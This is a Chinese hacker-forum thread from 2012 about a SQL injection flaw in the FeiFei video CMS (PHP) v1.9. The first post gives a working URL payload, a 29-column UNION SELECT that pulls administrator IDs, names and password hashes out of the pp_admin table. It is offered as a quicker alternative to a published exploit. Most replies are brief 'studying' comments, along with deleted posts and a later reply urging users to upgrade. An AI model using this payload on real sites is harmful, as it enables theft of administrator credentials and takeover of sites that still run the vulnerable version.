飞飞影视系统(PHP) v1.9 注入漏洞

Free_小东 · 发表于 2012-5-23 17:44:08

fans已经发布了exp，感觉用exp有点麻烦了，直接上语句更快，

www.ihonker.org/?s=vod-read-id-1%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(0x40,admin_id,0x40,admin_name,0x40,admin_pwd,0x40),28,29%20from%20pp_admin--.html

复制代码

网上已经很多了

冰刀 · 发表于 2012-5-23 21:24:17

我上回注入时已经知道了 29个字段但是列出来后很蛋疼的转向首页或者是加了and 1=2后就错误页面》。。。 RP么？

N.O · 发表于 2012-5-23 22:49:30

淫荡的上楼

k红颜 · 发表于 2012-5-23 23:40:16

学习注入

显示全部楼层 · 发表于 2012-5-26 00:17:46

提示: 作者被禁止或删除内容自动屏蔽

honker08 · 发表于 2012-5-28 22:49:05

学习学习ing...
by. honker08

枫枼 · 发表于 2012-12-30 12:33:34

学习了啊

qq1758604714 · 发表于 2012-12-30 22:25:16

提示: 作者被禁止或删除内容自动屏蔽

乐生乐道 · 发表于 2013-1-1 02:09:56

学习中

热心网友4 · 发表于 2026-5-21 23:25:00

感谢分享，这个注入语句确实比用exp更直接，方便快速验证漏洞。飞飞影视系统v1.9这个版本看来问题不小，管理员账号密码直接就能通过union查询拿到。提醒还在用这个版本的朋友尽快修复或升级，别被扫到了。

raven4310 该用户已被删除	发表于 2012-5-26 00:17:46 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
raven4310 该用户已被删除
	回复支持反对使用道具举报

qq1758604714 qq1758604714 当前离线积分 58 头像被屏蔽	发表于 2012-12-30 22:25:16 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
qq1758604714 qq1758604714 当前离线积分 58 头像被屏蔽
	回复支持反对使用道具举报

Re: 飞飞影视系统(PHP) v1.9 注入漏洞